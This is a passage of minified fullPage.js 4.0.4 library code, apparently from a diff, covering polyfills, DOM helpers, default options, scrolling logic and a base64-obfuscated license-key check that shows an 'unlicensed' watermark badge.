0!==Qn()[f+d];t=t||v;var p=[l,u,c].indexOf(i)<0&&0!==i.length;if(!t&&!v&&p)return!1;var h=t?vt(e):"",g=(h=h.split("_")).length>1&&h[1].indexOf(n,h[1].length-n.length)>-1,m=h.length>1&&h[1].toLowerCase().indexOf(f)>-1,w=h[0].indexOf(i,h[0].length-i.length)<0,b=g||m;o=o||!(w&&p&&s!=h[0])&&b||!p})),o}(n)||!xi)){Ei();var t=vt("MzQ1c2V0SW50ZXJ2YWwxMjM=");window[t](Ei,2e3)}}function Ei(){Mi&&(Ai||(Math.random()<.5?dt(Rt,Mi):k(Mi,Rt),Ai=!0),Mi.setAttribute("style",vt("MTIzei1pbmRleDo5OTk5OTk5O3Bvc2l0aW9uOmZpeGVkO3RvcDoyMHB4O2JvdHRvbTphdXRvO2xlZnQ6MjBweDtyaWdodDphdXRvO2JhY2tncm91bmQ6cmVkO3BhZGRpbmc6N3B4IDE1cHg7Zm9udC1zaXplOjE0cHg7Zm9udC1mYW1pbHk6YXJpYWw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9jazt0cmFuc2Zvcm06dHJhbnNsYXRlM2QoMCwwLDApO29wYWNpdHk6MTtoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO3pvb206MTttYXJnaW46YXV0bztib3JkZXI6bm9uZTt2aXNpYmlsaXR5OnZpc2libGU7Y2xpcC1wYXRoOm5vbmU7MTIz").replace(/;/g,vt("MTIzICFpbXBvcnRhbnQ7MzQ1"))))}function ki(n){n.forEach((function(n){if(n.removedNodes[0]&&n.removedNodes[0].isEqualNode(Mi)){clearTimeout(Ti);var t=vt("bDIwc2V0VGltZW91dDAzbA==");Ti=window[t](Di,900)}}))}function Di(){Ai=!1}function ji(){var n=Qn().licenseKey;Qn()&&rn.Rn||r.domain.indexOf("alvarotrigo.com")>-1?n&&n.length:(s("error","Fullpage.js requires a `licenseKey` option. Read about it on the following URL:"),s("error","https://github.com/alvarotrigo/fullPage.js#options")),h(Nt,gn)?s("error","Fullpage.js can only be initialized once and you are doing it multiple times!"):(Qn().continuousVertical&&(Qn().loopTop||Qn().loopBottom)&&(Qn().continuousVertical=!1,s("warn","Option `loopTop/loopBottom` is mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),!Qn().scrollOverflow||!Qn().scrollBar&&Qn().autoScrolling||s("warn","Options scrollBar:true and autoScrolling:false are mutually exclusive with scrollOverflow:true. Sections with scrollOverflow might not work well in Firefox"),!Qn().continuousVertical||!Qn().scrollBar&&Qn().autoScrolling||(Qn().continuousVertical=!1,s("warn","Scroll bars (`scrollBar:true` or `autoScrolling:false`) are mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),Qn().anchors.forEach((function(n){var t=[].slice.call(v("[name]")).filter((function(t){return W(t,"name")&&W(t,"name").toLowerCase()==n.toLowerCase()})),e=[].slice.call(v("[id]")).filter((function(t){return W(t,"id")&&W(t,"id").toLowerCase()==n.toLowerCase()}));if(e.length||t.length){s("error","data-anchor tags can not have the same value as any `id` element on the site (or `name` element for IE).");var o=e.length?"id":"name";(e.length||t.length)&&s("error",'"'+n+'" is is being used by another element `'+o+"` property")}})))}function zi(){return{options:Qn(),internals:{container:Un(),canScroll:rn.canScroll,isScrollAllowed:Gt(),getDestinationPosition:eo,isTouch:u,c:Oi,getXmovement:Kt,removeAnimation:bt,getTransforms:St,lazyLoad:Lt,addAnimation:mt,performHorizontalMove:Jt,landscapeScroll:_t,silentLandscapeScroll:ne,keepSlidesPosition:Ke,silentScroll:Mt,styleSlides:xe,styleSection:ke,scrollHandler:di,getEventsPage:Mo,getMSPointer:To,isReallyTouch:bo,usingExtension:lt,toggleControlArrows:Ut,touchStartHandler:So,touchMoveHandler:wo,nullOrSection:Ot,items:{SectionPanel:le,SlidePanel:ue,Item:$n},getVisible:d,getState:ln,updateState:oe,getPanels:function(){return rn.U},getSections:function(){return rn.h},setActiveSection:function(n){rn.g=n}}}}function Li(n){var t=["NTY3YnVuZGxlNzg5","NTU1S2V5Nzc3"],e=vt(t[0]),o=vt(t[1]),i=void 0!==Qn()[e+o],r="fp_"+n+"Extension";Si()[n]=i?Qn()[e+o]:Qn()[n+o],c[n]=void 0!==window[r]?new window[r]:null,c[n]&&c[n].c(n)}function Ri(n,t){var e;if(Rt=v("body")[0],Nt=v("html")[0],Pt=v("html, body"),!h(Nt,gn))return"touchWrapper",e="string"==typeof n?v(n)[0]:n,Fn.touchWrapper=e,function(n){Xn=p({},Fn,n),Gn=Object.assign({},Xn)}(t),function(n){Vn=n}("string"==typeof n?v(n)[0]:n),on.u("onInitialise"),ji(),c.getFullpageData=zi,c.version="4.0.4",c.test=Object.assign(c.test,{top:"0px",_:"translate3d(0px, 0px, 0px)",K:function(){for(var n=[],t=0;t<v(Qn().sectionSelector,Un()).length;t++)n.push("translate3d(0px, 0px, 0px)");return n}(),left:function(){for(var n=[],t=0;t<v(Qn().sectionSelector,Un()).length;t++)n.push(0);return n}(),options:Qn(),setAutoScrolling:null}),c.shared=Object.assign(c.shared,{Hn:null,Dn:!1}),i.fullpage_api=c,i.fullpage_extensions=!0,Un()&&(on.u("beforeInit"),Li("continuousHorizontal"),Li("scrollHorizontally"),Li("resetSliders"),Li("interlockedSlides"),Li("responsiveSlides"),Li("fadingEffect"),Li("dragAndMove"),Li("offsetSections"),Li("scrollOverflowReset"),Li("parallax"),Li("cards"),Li("dropEffect"),Li("waterEffect"),ut("dragAndMove","init"),ut("responsiveSlides","init"),ie(),oe(),Qn().scrollBar=Qn().scrollBar||Qn().hybrid,Kn(),hi(),we(!0),mi(!0),Yo(!0),pe(Qn().autoScrolling,"internal"),be(),Ct(),"complete"===r.readyState&&wi(),Z("load",wi),gi(),xi||Oi("l"),ie(),oe(),on.u("bindEvents"),ut("dragAndMove","turnOffTouch")),i.fullpage_api;ji()}return c.destroy=function(n){G(Un(),"destroy",n),pe(!1,"internal"),mi(!0),Yo(!1),vi(!1),O(Un(),hn),on.u("onDestroy"),ut("dragAndMove","destroy"),n&&(Mt(0),v("img[data-src], source[data-src], audio[data-src], iframe[data-src]",Un()).forEach((function(n){tn(n,"src")})),v("img[data-srcset]").forEach((function(n){tn(n,"srcset")})),_(v("#fp-nav, .fp-slidesNav, .fp-controlArrow")),w(nt(ln().h),{height:"","background-color":"",padding:""}),w(nt(ln().slides),{width:""}),w(Un(),{height:"",position:"","-ms-touch-action":"","touch-action":""}),w(Pt,{overflow:"",height:""}),E(Nt,gn),E(Rt,vn),Rt.className.split(/\s+/).forEach((function(n){0===n.indexOf("fp-viewing")&&E(Rt,n)})),nt(ln().U).forEach((function(n){Qn().scrollOverflow&&E(n,Rn),E(n,"fp-table active "+bn),W(n,"data-fp-styles")&&n.setAttribute("style",W(n,"data-fp-styles")),h(n,Sn)&&!Yn&&n.removeAttribute("data-anchor")})),bt(Un()),[Mn,zn,Dn].forEach((function(n){v(n,Un()).forEach((function(n){z(n)}))})),w(Un(),{"-webkit-transition":"none",transition:"none"}),i.scrollTo(0,0),[Sn,xn,jn].forEach((function(n){E(v("."+n),n)})))},i.fp_easings=p(i.fp_easings,{easeInOutCubic:function(n,t,e,o){return(n/=o/2)<1?e/2*n*n*n+t:e/2*((n-=2)*n*n+2)+t}}),i.jQuery&&function(n,t){n&&t?n.fn.fullpage=function(e){e=n.extend({},e,{$:n}),new t(this[0],e),Object.keys(c).forEach((function(n){Qn().$.fn.fullpage[n]=c[n]}))}:s("error","jQuery is required to use the jQuery fullpage adapter!")}(i.jQuery,Ri),Ri}));
+!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).fullpage=t()}(this,(function(){"use strict";var n,t,e,o;Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(n){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),e=t.length>>>0;if("function"!=typeof n)throw new TypeError("predicate must be a function");for(var o=arguments[1],i=0;i<e;){var r=t[i];if(n.call(o,r,i,t))return r;i++}}}),Array.from||(Array.from=(n=Object.prototype.toString,t=function(t){return"function"==typeof t||"[object Function]"===n.call(t)},e=Math.pow(2,53)-1,o=function(n){var t=function(n){var t=Number(n);return isNaN(t)?0:0!==t&&isFinite(t)?(t>0?1:-1)*Math.floor(Math.abs(t)):t}(n);return Math.min(Math.max(t,0),e)},function(n){var e=this,i=Object(n);if(null==n)throw new TypeError("Array.from requires an array-like object - not null or undefined");var r,a=arguments.length>1?arguments[1]:void 0;if(void 0!==a){if(!t(a))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(r=arguments[2])}for(var l,u=o(i.length),c=t(e)?Object(new e(u)):new Array(u),s=0;s<u;)l=i[s],c[s]=a?void 0===r?a(l,s):a.call(r,l,s):l,s+=1;return c.length=u,c}));var i=window,r=document,a=navigator.userAgent.match(/(iPhone|iPod|iPad|Android|playbook|silk|BlackBerry|BB10|Windows Phone|Tizen|Bada|webOS|IEMobile|Opera Mini)/),l=/(Mac|iPhone|iPod|iPad)/i.test(i.navigator.userAgent),u="ontouchstart"in i||navigator.msMaxTouchPoints>0||navigator.maxTouchPoints,c={test:{},shared:{}};function s(n,t){i.console&&i.console[n]&&i.console[n]("fullPage: "+t)}function f(n){return"none"!==i.getComputedStyle(n).display}function d(n){return Array.from(n).filter((function(n){return f(n)}))}function v(n,t){return(t=arguments.length>1?t:document)?t.querySelectorAll(n):null}function p(n){n=n||{};for(var t=1,e=arguments.length;t<e;++t){var o=arguments[t];if(o)for(var i in o)o.hasOwnProperty(i)&&"__proto__"!=i&&"constructor"!=i&&("[object Object]"!==Object.prototype.toString.call(o[i])?n[i]=o[i]:n[i]=p(n[i],o[i]))}return n}function h(n,t){return null!=n&&n.classList.contains(t)}function g(){return"innerHeight"in i?i.innerHeight:r.documentElement.offsetHeight}function m(){return i.innerWidth}function w(n,t){var e;for(e in n=M(n),t)if(t.hasOwnProperty(e)&&null!==e)for(var o=0;o<n.length;o++)n[o].style[e]=t[e];return n}function b(n,t){if(null==t)return n.previousElementSibling;var e=b(n);return e&&X(e,t)?e:null}function S(n,t){if(null==t)return n.nextElementSibling;var e=S(n);return e&&X(e,t)?e:null}function y(n,t){n=x(n)?n[0]:n;for(var e=null!=t?v(t,n.parentNode):n.parentNode.childNodes,o=0,i=0;i<e.length;i++){if(e[i]==n)return o;1==e[i].nodeType&&o++}return-1}function M(n){return x(n)?n:[n]}function T(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="none";return n}function A(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="block";return n}function x(n){return"[object Array]"===Object.prototype.toString.call(n)||"[object NodeList]"===Object.prototype.toString.call(n)}function O(n,t){n=M(n);for(var e=0;e<n.length;e++)n[e].classList.add(t);return n}function E(n,t){n=M(n);for(var e=t.split(" "),o=0;o<e.length;o++){t=e[o];for(var i=0;i<n.length;i++)n[i].classList.remove(t)}return n}function k(n,t){t.appendChild(n)}function D(n,t,e){var o;t=t||r.createElement("div");for(var i=0;i<n.length;i++){var a=n[i];(e&&!i||!e)&&(o=t.cloneNode(!0),a.parentNode.insertBefore(o,a)),o.appendChild(a)}return n}function j(n,t){D(n,t,!0)}function z(n){for(var t=r.createDocumentFragment();n.firstChild;)t.appendChild(n.firstChild);n.parentNode.replaceChild(t,n)}function L(n,t){return n&&1===n.nodeType?X(n,t)?n:L(n.parentNode,t):null}function R(n,t){P(n,n.nextSibling,t)}function N(n,t){P(n,n,t)}function P(n,t,e){x(e)||("string"==typeof e&&(e=Q(e)),e=[e]);for(var o=0;o<e.length;o++)n.parentNode.insertBefore(e[o],t)}function C(n){if(void 0!==n&&n.fitToSection)return r.body.scrollTop;var t=r.documentElement;return(i.pageYOffset||t.scrollTop)-(t.clientTop||0)}function H(n){return Array.prototype.filter.call(n.parentNode.children,(function(t){return t!==n}))}function I(n){n.preventDefault()}function W(n,t){return n.getAttribute(t)}function B(n,t,e){r.addEventListener(n,t,"undefined"===e?null:e)}function Z(n,t,e){i.addEventListener(n,t,"undefined"===e?null:e)}function F(n,t,e){r.removeEventListener(n,t,"undefined"===e?null:e)}function V(n,t,e){i.removeEventListener(n,t,"undefined"===e?null:e)}function Y(n){if("function"==typeof n)return!0;var t=Object.prototype.toString.call(n);return"[object Function]"===t||"[object GeneratorFunction]"===t}function G(n,t,e){var o;e=void 0===e?{}:e,"function"==typeof i.CustomEvent?o=new CustomEvent(t,{detail:e}):(o=r.createEvent("CustomEvent")).initCustomEvent(t,!0,!0,e),n.dispatchEvent(o)}function X(n,t){return(n.matches||n.t||n.msMatchesSelector||n.mozMatchesSelector||n.webkitMatchesSelector||n.oMatchesSelector).call(n,t)}function U(n,t){if("boolean"==typeof t)for(var e=0;e<n.length;e++)n[e].style.display=t?"block":"none";return n}function Q(n){var t=r.createElement("div");return t.innerHTML=n.trim(),t.firstChild}function _(n){n=M(n);for(var t=0;t<n.length;t++){var e=n[t];e&&e.parentElement&&e.parentNode.removeChild(e)}}function J(n,t,e){for(var o=n[e],i=[];o;)(X(o,t)||null==t)&&i.push(o),o=o[e];return i}function K(n,t){return J(n,t,"nextElementSibling")}function q(n,t){return J(n,t,"previousElementSibling")}function $(n){return n[n.length-1]}function nn(n,t){for(var e=0,o=n.slice(Math.max(n.length-t,1)),i=0;i<o.length;i++)e+=o[i];return Math.ceil(e/t)}function tn(n,t){n.setAttribute(t,W(n,"data-"+t)),n.removeAttribute("data-"+t)}function en(n){return en="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},en(n)}i.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=function(n,t){t=t||window;for(var e=0;e<this.length;e++)n.call(t,this[e],e,this)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(n,t){if(null==n)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(n),o=1;o<arguments.length;o++){var i=arguments[o];if(null!=i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(e[r]=i[r])}return e},writable:!0,o:!0}),window.fp_utils={$:v,deepExtend:p,hasClass:h,getWindowHeight:g,css:w,prev:b,next:S,last:function(n){return n[n.length-1]},index:y,getList:M,hide:T,show:A,isArrayOrList:x,addClass:O,removeClass:E,appendTo:k,wrap:D,wrapAll:j,wrapInner:function(n,t){for("string"==typeof t&&(t=Q(t)),n.appendChild(t);n.firstChild!==t;)t.appendChild(n.firstChild)},unwrap:z,closest:L,after:R,before:N,insertBefore:P,getScrollTop:C,siblings:H,preventDefault:I,isFunction:Y,trigger:G,matches:X,toggle:U,createElementFromHTML:Q,remove:_,filter:function(n,t){Array.prototype.filter.call(n,t)},untilAll:J,nextAll:K,prevAll:q,showError:s};var on={i:{},l:function(n,t){var e=this;return"object"!==en(this.i[n])&&(this.i[n]=[]),this.i[n].push(t),function(){return e.removeListener(n,t)}},removeListener:function(n,t){if("object"===en(this.i[n])){var e=this.i[n].indexOf(t);e>-1&&this.i[n].splice(e,1)}},u:function(n){for(var t=this,e=arguments.length,o=new Array(e>1?e-1:0),i=1;i<e;i++)o[i-1]=arguments[i];"object"===en(this.i[n])&&this.i[n].forEach((function(n){return n.apply(t,o)}))},once:function(n,t){var e=this,o=this.l(n,(function(){o();for(var n=arguments.length,i=new Array(n),r=0;r<n;r++)i[r]=arguments[r];t.apply(e,i)}))}},rn={v:0,p:0,slides:[],h:[],g:null,S:null,M:!1,T:!1,A:!1,O:!1,D:!1,j:void 0,L:void 0,R:!1,canScroll:!0,N:"none",P:"none",C:!1,H:!0,I:0,W:g(),B:!1,Z:{}};function an(n){Object.assign(rn,n)}function ln(){return rn}function un(n){on.u("onClickOrTouch",{e:n,target:n.target})}function cn(){["click","touchstart"].forEach((function(n){F(n,un)}))}function sn(){an({H:!0})}i.state=rn,on.l("bindEvents",(function(){["click","touchstart"].forEach((function(n){B(n,un)})),Z("focus",sn),on.l("onDestroy",cn)}));var fn="fullpage-wrapper",dn="."+fn,vn="fp-responsive",pn="fp-notransition",hn="fp-destroyed",gn="fp-enabled",mn="active",wn=".active",bn="fp-completely",Sn="fp-section",yn="."+Sn,Mn=".fp-tableCell",Tn="fp-auto-height",An="#fp-nav",xn="fp-slide",On="."+xn,En=".fp-slide.active",kn="fp-slides",Dn=".fp-slides",jn="fp-slidesContainer",zn="."+jn,Ln="fp-table",Rn="fp-overflow",Nn="."+Rn,Pn=".fp-slidesNav",Cn=".fp-slidesNav a",Hn="fp-controlArrow",In="."+Hn,Wn="fp-prev",Bn=".fp-controlArrow.fp-prev",Zn=".fp-controlArrow.fp-next",Fn={menu:!1,anchors:[],lockAnchors:!1,navigation:!1,navigationPosition:"right",navigationTooltips:[],showActiveTooltip:!1,slidesNavigation:!1,slidesNavPosition:"bottom",scrollBar:!1,hybrid:!1,licenseKey:"",credits:{enabled:!0,label:"Made with fullPage.js",position:"right"},css3:!0,scrollingSpeed:700,autoScrolling:!0,fitToSection:!0,F:1e3,easing:"easeInOutCubic",easingcss3:"ease",loopBottom:!1,loopTop:!1,loopHorizontal:!0,continuousVertical:!1,continuousHorizontal:!1,scrollHorizontally:!1,interlockedSlides:!1,dragAndMove:!1,offsetSections:!1,resetSliders:!1,fadingEffect:!1,normalScrollElements:null,scrollOverflow:!0,scrollOverflowReset:!1,touchSensitivity:5,touchWrapper:null,bigSectionsDestination:null,keyboardScrolling:!0,animateAnchor:!0,recordHistory:!0,allowCorrectDirection:!1,scrollOverflowMacStyle:!0,controlArrows:!0,controlArrowsHTML:['<div class="fp-arrow"></div>','<div class="fp-arrow"></div>'],controlArrowColor:"#fff",verticalCentered:!0,sectionsColor:[],paddingTop:0,paddingBottom:0,fixedElements:null,responsive:0,responsiveWidth:0,responsiveHeight:0,responsiveSlides:!1,parallax:!1,parallaxOptions:{type:"reveal",percentage:62,property:"translate"},cards:!1,cardsOptions:{perspective:100,fadeContent:!0,fadeBackground:!0},sectionSelector:".section",slideSelector:".slide",afterLoad:null,beforeLeave:null,onLeave:null,afterRender:null,afterResize:null,afterReBuild:null,afterSlideLoad:null,onSlideLeave:null,afterResponsive:null,onScrollOverflow:null,lazyLoading:!0,observer:!0},Vn=null,Yn=!1,Gn=p({},Fn),Xn=null;function Un(n){return Vn}function Qn(){return Xn||Fn}function _n(){return Gn}function Jn(n,t,e){Xn[n]=t,"internal"!==e&&(Gn[n]=t)}function Kn(){if(!Qn().anchors.length){var n=v(Qn().sectionSelector.split(",").join("[data-anchor],")+"[data-anchor]",Vn);n.length&&n.length===v(Qn().sectionSelector,Vn).length&&(Yn=!0,n.forEach((function(n){Qn().anchors.push(W(n,"data-anchor").toString())})))}if(!Qn().navigationTooltips.length){var t=v(Qn().sectionSelector.split(",").join("[data-tooltip],")+"[data-tooltip]",Vn);t.length&&t.forEach((function(n){Qn().navigationTooltips.push(W(n,"data-tooltip").toString())}))}}var qn=function(n){this.anchor=n.anchor,this.item=n.item,this.index=n.index(),this.isLast=this.index===n.item.parentElement.querySelectorAll(n.selector).length-1,this.isFirst=!this.index,this.isActive=n.isActive},$n=function(n,t){this.parent=this.parent||null,this.selector=t,this.anchor=W(n,"data-anchor")||Qn().anchors[y(n,Qn().sectionSelector)],this.item=n,this.isVisible=f(n),this.isActive=h(n,mn),this.V=h(n,Rn),this.Y=t===Qn().sectionSelector,this.container=L(n,zn)||L(n,dn),this.index=function(){return this.siblings().indexOf(this)}};function nt(n){return n.map((function(n){return n.item}))}function tt(n,t){return n.find((function(n){return n.item===t}))}$n.prototype.siblings=function(){return this.Y?this.isVisible?rn.h:rn.G:this.parent?this.parent.slides:0},$n.prototype.prev=function(){var n=this.siblings(),t=(this.Y?n.indexOf(this):this.parent.slides.indexOf(this))-1;return t>=0?n[t]:null},$n.prototype.next=function(){var n=this.siblings(),t=(this.Y?n.indexOf(this):this.parent.slides.indexOf(this))+1;return t<n.length?n[t]:null},$n.prototype.X=function(){return this.Y?rn.h:rn.U};var et,ot,it=function(n){qn.call(this,n)},rt=function(n){qn.call(this,n)};function at(n){return void 0!==window["fp_"+n+"Extension"]}function lt(n){var t=Qn();return null!==t[n]&&"[object Array]"===Object.prototype.toString.call(t[n])?t[n].length&&c[n]:t[n]&&c[n]}function ut(n,t,e){if(lt(n))return Y(c[n][t])?c[n][t](e):c[n][t]}function ct(){return ut("dragAndMove","isAnimating")}function st(){return ut("dragAndMove","isGrabbing")}function ft(n){return Qn().offsetSections&&c.offsetSections?Math.round(ut("offsetSections","getWindowHeight",n)):g()}function dt(n,t){n.insertBefore(t,n.firstChild)}function vt(n){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function e(n){var e,o,i,r,a,l,u="",c=0;for(n=n.replace(/[^A-Za-z0-9+/=]/g,"");c<n.length;)e=t.indexOf(n.charAt(c++))<<2|(r=t.indexOf(n.charAt(c++)))>>4,o=(15&r)<<4|(a=t.indexOf(n.charAt(c++)))>>2,i=(3&a)<<6|(l=t.indexOf(n.charAt(c++))),u+=String.fromCharCode(e),64!=a&&(u+=String.fromCharCode(o)),64!=l&&(u+=String.fromCharCode(i));return u=function(n){for(var t,e="",o=0,i=0,r=0;o<n.length;)(i=n.charCodeAt(o))<128?(e+=String.fromCharCode(i),o++):i>191&&i<224?(r=n.charCodeAt(o+1),e+=String.fromCharCode((31&i)<<6|63&r),o+=2):(r=n.charCodeAt(o+1),t=n.charCodeAt(o+2),e+=String.fromCharCode((15&i)<<12|(63&r)<<6|63&t),o+=3);return e}(u),u}function o(n){return n.slice(3).slice(0,-3)}return function(n){var t=n.split("_");if(t.length>1){var i=t[1];return e(n.replace(o(t[1]),"").split("_")[0].slice(2).slice(0,-2))+"_"+e(i.slice(3).slice(0,-3))}return o(n)}(e(n))}function pt(n){var t=v(En,n);return t.length&&(n=t[0]),n}function ht(n){var t,e,o=Qn();return o.autoScrolling&&!o.scrollBar?(t=-n,e=v(dn)[0]):o.fitToSection?(t=n,e=r.body):(t=n,e=window),{options:t,element:e}}function gt(n,t){!Qn().autoScrolling||Qn().scrollBar||n.self!=window&&h(n,kn)?n.self!=window&&h(n,kn)?n.scrollLeft=t:n.scrollTo(0,t):n.style.top=t+"px"}function mt(n){var t="transform "+Qn().scrollingSpeed+"ms "+Qn().easingcss3;return E(n,pn),w(n,{"-webkit-transition":t,transition:t})}function wt(n,t){var e=n.index(),o=y(t,yn);return e==o?"none":e>o?"up":"down"}function bt(n){return O(n,pn)}function St(n){return{"-webkit-transform":n,"-moz-transform":n,"-ms-transform":n,transform:n}}function yt(n,t){t?mt(Un()):bt(Un()),clearTimeout(et),w(Un(),St(n)),c.test._=n,et=setTimeout((function(){E(Un(),pn)}),10)}function Mt(n){var t=Math.round(n);if(Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)yt("translate3d(0px, -"+t+"px, 0px)",!1);else if(Qn().autoScrolling&&!Qn().scrollBar)w(Un(),{top:-t+"px"}),c.test.top=-t+"px";else{var e=ht(t);gt(e.element,e.options)}}function Tt(n,t){"internal"!==t&&ut("fadingEffect","update",n),ut("cards","update_",n),Jn("scrollingSpeed",n,t)}function At(){clearTimeout(ot)}function xt(n,t,e,o){var a=function(n){return n.self!=i&&h(n,kn)?n.scrollLeft:!Qn().autoScrolling||Qn().scrollBar?C(Qn()):n.offsetTop}(n),l=t-a,u=0;an({R:!0});var c=!1;n===r.body&&w(r.body,{"scroll-snap-type":"none"}),function r(){if(rn.R){var s=t;u+=20,e&&(s=i.fp_easings[Qn().easing](u,a,l,e)),gt(n,s),u<e?(clearTimeout(ot),ot=setTimeout(r,20)):void 0===o||c||(o(),c=!0)}else u<e&&!c&&(o(),c=!0)}()}function Ot(n){return n&&!n.item?new it(new le(n)):n?new it(n):null}function Et(n){return n?new rt(n):null}function kt(n,t){var e,o=function(n,t){var e={afterRender:function(){return{section:Ot(ln().g),J:Et(ln().g.activeSlide)}},onLeave:function(){return{origin:Ot(t.items.origin),destination:Ot(t.items.destination),direction:t.direction,trigger:ln().S}},afterLoad:function(){return e.onLeave()},afterSlideLoad:function(){return{section:Ot(t.items.section),origin:Ot(t.items.origin),destination:Ot(t.items.destination),direction:t.direction,trigger:ln().S}},onSlideLeave:function(){return e.afterSlideLoad()},beforeLeave:function(){return e.onLeave()},onScrollOverflow:function(){return{section:Ot(ln().g),J:Et(ln().g.activeSlide),position:t.position}}};return e[n]()}(n,t);return G(Un(),n,o),!1!==Qn()[n].apply(o[Object.keys(o)[0]],(e=o,Object.keys(e).map((function(n){return e[n]}))))}function Dt(n){var t=pt(n);v("video, audio",t).forEach((function(n){n.hasAttribute("data-autoplay")&&"function"==typeof n.play&&n.play()})),v('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){n.hasAttribute("data-autoplay")&&jt(n),n.onload=function(){n.hasAttribute("data-autoplay")&&jt(n)}}))}function jt(n){n.contentWindow.postMessage('{"event":"command","func":"playVideo","args":""}',"*")}function zt(n){var t=pt(n);v("video, audio",t).forEach((function(n){n.hasAttribute("data-keepplaying")||"function"!=typeof n.pause||n.pause()})),v('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){/youtube\.com\/embed\//.test(W(n,"src"))&&!n.hasAttribute("data-keepplaying")&&n.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*")}))}function Lt(n){Qn().lazyLoading&&v("img[data-src], img[data-srcset], source[data-src], source[data-srcset], video[data-src], audio[data-src], iframe[data-src]",pt(n)).forEach((function(n){if(["src","srcset"].forEach((function(t){var e=W(n,"data-"+t);null!=e&&e&&(tn(n,t),n.addEventListener("load",(function(){})))})),X(n,"source")){var t=L(n,"video, audio");t&&(t.load(),t.onloadeddata=function(){})}}))}i.fp_utils=i.fp_utils||{},Object.assign(i.fp_utils,{prependTo:dt,toggleClass:function(n,t,e){if(n.classList&&null==e)n.classList.toggle(t);else{var o=h(n,t);o&&null==e||!e?E(n,t):(!o&&null==e||e)&&O(n,t)}}}),c.setScrollingSpeed=Tt,on.l("bindEvents",(function(){on.l("onDestroy",At)}));var Rt=null,Nt=null,Pt=null;function Ct(){var n=ln().g.item,t=ln().g.activeSlide,e=Ht(n),o=String(e);t&&(o=o+"-"+Ht(t.item)),o=o.replace("/","-").replace("#","");var i=new RegExp("\\b\\s?fp-viewing-[^\\s]+\\b","g");Rt.className=Rt.className.replace(i,""),O(Rt,"fp-viewing-"+o)}function Ht(n){if(!n)return null;var t=W(n,"data-anchor"),e=y(n);return null==t&&(t=e),t}function It(n,t,e){var o="";Qn().anchors.length&&!Qn().lockAnchors&&(n?(null!=e&&(o=e),null==t&&(t=n),an({L:t}),Wt(o+"/"+t)):null!=n?(an({L:t}),Wt(e)):Wt(e)),Ct()}function Wt(n){if(Qn().recordHistory)location.hash=n;else if(a||u)i.history.replaceState(void 0,void 0,"#"+n);else{var t=i.location.href.split("#")[0];i.location.replace(t+"#"+n)}}function Bt(n,t,e){var o="Section"===t?Qn().anchors[n]:W(e,"data-anchor");return Qn().navigationTooltips[n]||o||t+" "+(n+1)}function Zt(n){I(n),an({S:"horizontalNav"});var t=L(this,yn),e=v(Dn,L(this,yn))[0],o=tt(ln().h,t).slides[y(L(this,"li"))];on.u("landscapeScroll",{slides:e,destination:o.item})}var Ft,Vt={};function Yt(n,t,e){"all"!==t?Vt[e][t]=n:Object.keys(Vt[e]).forEach((function(t){Vt[e][t]=n}))}function Gt(){return Vt}function Xt(){var n=L(this,yn);h(this,Wn)?Gt().m.left&&(an({S:"slideArrow"}),on.u("moveSlideLeft",{section:n})):Gt().m.right&&(an({S:"slideArrow"}),on.u("moveSlideRight",{section:n}))}function Ut(n){!Qn().loopHorizontal&&Qn().controlArrows&&(U(v(Bn,n.section),0!==n.slideIndex),U(v(Zn,n.section),null!=S(n.destiny)))}function Qt(){clearTimeout(Ft)}function _t(n,t,e){var o=L(n,yn),i=ln().h.filter((function(n){return n.item==o}))[0],r=i.slides.filter((function(n){return n.item==t}))[0],a={slides:n,destiny:t,direction:e,destinyPos:{left:t.offsetLeft},slideIndex:r.index(),section:o,sectionIndex:i.index(),anchorLink:i.anchor,slidesNav:v(Pn,o)[0],slideAnchor:r.anchor,prevSlide:i.activeSlide.item,prevSlideIndex:i.activeSlide.index(),items:{section:i,origin:i.activeSlide,destination:r},localIsResizing:rn.O};a.xMovement=Kt(a.prevSlideIndex,a.slideIndex),a.direction=a.direction?a.direction:a.xMovement,a.localIsResizing||an({canScroll:!1}),ut("parallax","applyHorizontal",a),ut("cards","apply",a),ut("dropEffect","apply",a),ut("waterEffect","apply",a),Qn().onSlideLeave&&!a.localIsResizing&&"none"!==a.xMovement&&Y(Qn().onSlideLeave)&&!1===kt("onSlideLeave",a)?an({A:!1}):(lt("dropEffect")&&Qn().dropEffect||(O(t,mn),E(H(t),mn)),oe(),a.localIsResizing||(zt(a.prevSlide),Lt(t)),Ut(a),i.isActive&&!a.localIsResizing&&It(a.slideIndex,a.slideAnchor,a.anchorLink),ut("continuousHorizontal","apply",a),st()?$t(a):Jt(n,a,!0),Qn().interlockedSlides&&c.interlockedSlides&&(lt("continuousHorizontal")&&void 0!==e&&e!==a.xMovement||ut("interlockedSlides","apply",a)))}function Jt(n,t,e){var o,i,r=t.destinyPos;if(o=t.slidesNav,i=t.slideIndex,Qn().slidesNavigation&&null!=o&&(E(v(wn,o),mn),O(v("a",v("li",o)[i]),mn)),an({scrollX:Math.round(r.left)}),Qn().css3){var a="translate3d(-"+Math.round(r.left)+"px, 0px, 0px)";c.test.K[t.sectionIndex]=a,lt("dragAndMove")&&void 